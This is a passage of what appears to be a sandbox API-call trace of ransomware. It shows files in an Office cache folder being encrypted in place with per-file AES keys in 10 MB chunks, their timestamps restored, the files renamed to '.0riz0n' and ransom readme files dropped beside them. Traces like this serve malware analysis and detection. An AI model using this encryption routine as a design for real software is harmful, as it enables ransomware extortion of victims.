lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0082.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0082.775] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0082.775] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x45dcf5b0, dwHighDateTime=0x1d59598)) returned 1 [0082.775] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0082.775] NtClose (Handle=0x1f0) returned 0x0 [0082.775] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0082.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0082.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0082.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1e738) returned 1 [0082.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0082.776] CryptDestroyKey (hKey=0x459b38) returned 1 [0082.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0082.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0082.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0082.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.776] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861)) returned 1 [0082.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0082.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0082.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0082.777] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0082.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0082.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.777] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861)) returned 1 [0082.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0082.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0082.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.778] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861)) returned 1 [0082.778] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0082.778] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0082.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0082.778] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0x43bdc500, dwHighDateTime=0x1d305eb)) returned 1 [0082.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.778] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0082.778] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0082.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0082.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0082.778] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0082.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0082.779] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0082.779] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0082.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1880) returned 0xfa2210 [0082.779] ReadFile (in: hFile=0x1f0, lpBuffer=0xfa2210, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xfa2210*, lpNumberOfBytesRead=0x17af85c*=0x1861, lpOverlapped=0x0) returned 1 [0082.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1880) returned 0x1a20048 [0082.781] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfa2210*, pdwDataLen=0x17af858*=0x1861, dwBufLen=0x1c61 | out: pbData=0xfa2210*, pdwDataLen=0x17af858*=0x1870) returned 1 [0082.781] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0082.781] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a218d0*, nNumberOfBytesToWrite=0x1861, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a218d0*, lpNumberOfBytesWritten=0x17af85c*=0x1861, lpOverlapped=0x0) returned 1 [0082.781] FlushFileBuffers (hFile=0x1f0) returned 1 [0082.784] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0082.784] NtClose (Handle=0x1f0) returned 0x0 [0082.784] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0082.786] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0082.786] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0082.786] GetLastError () returned 0x2 [0082.786] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed69c8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0082.787] GetLastError () returned 0x2 [0082.787] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0082.787] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0082.787] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0082.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x1baf768 [0082.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0082.792] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1baf768) returned 1 [0082.792] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0082.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0082.792] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f5, lpOverlapped=0x0) returned 1 [0082.792] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x45df5710, dwHighDateTime=0x1d59598)) returned 1 [0082.792] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0082.792] NtClose (Handle=0x1f0) returned 0x0 [0082.792] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0082.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0082.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0082.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a218d0) returned 1 [0082.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0082.793] CryptDestroyKey (hKey=0x459b38) returned 1 [0082.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0082.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0082.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0082.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.793] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd)) returned 1 [0082.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0082.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0082.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0082.793] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0082.794] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0082.794] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.794] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd)) returned 1 [0082.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0082.794] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0082.794] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.794] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd)) returned 1 [0082.794] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0082.794] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0082.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.794] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.794] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0082.794] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0x437179c0, dwHighDateTime=0x1d305eb)) returned 1 [0082.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.795] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0082.795] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0082.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0082.795] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0082.795] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0082.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0082.795] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0082.795] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0082.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0082.796] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0083.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0083.510] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0083.604] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0083.604] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0083.725] FlushFileBuffers (hFile=0x1f0) returned 1 [0083.752] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0083.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0083.752] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0084.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0084.292] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0084.382] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0084.382] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0084.550] FlushFileBuffers (hFile=0x1f0) returned 1 [0084.578] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x1400000 [0084.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0084.579] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0084.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0085.313] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0085.406] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x1400000 [0085.406] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0085.533] FlushFileBuffers (hFile=0x1f0) returned 1 [0085.562] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x1e00000 [0085.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0085.563] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0085.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0086.030] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0086.158] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x1e00000 [0086.158] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0086.280] FlushFileBuffers (hFile=0x1f0) returned 1 [0086.305] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x2800000 [0086.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x878100) returned 0x2d60020 [0086.306] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0x8780dd, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0x8780dd, lpOverlapped=0x0) returned 1 [0086.493] RtlAllocateHeap (HeapHandle=0x300000, 